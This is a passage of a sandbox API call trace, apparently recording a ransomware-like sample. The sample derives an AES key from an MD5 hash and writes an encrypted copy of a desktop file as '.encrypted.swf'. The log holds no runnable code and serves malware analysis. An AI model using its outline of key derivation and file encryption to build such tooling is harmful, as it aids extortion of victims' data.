lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.384] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.385] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.385] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.385] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.385] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.385] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.385] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.385] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.386] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.387] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.387] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.387] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.387] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.387] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.387] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.387] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.388] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.388] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b570, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.388] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.388] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.388] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.388] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.388] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.388] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.388] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.388] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0023.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.390] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\q768hx7.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.390] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.390] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.390] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.391] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\q768hx7.encrypted.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.391] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.391] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.391] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.391] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.392] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.392] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0023.394] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x2c8, lpOverlapped=0x0) returned 1 [0023.394] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.396] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.396] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.396] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.396] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.397] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.397] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.397] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.397] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.397] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.397] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.397] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.397] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.398] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.398] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.398] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.398] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.398] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.398] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 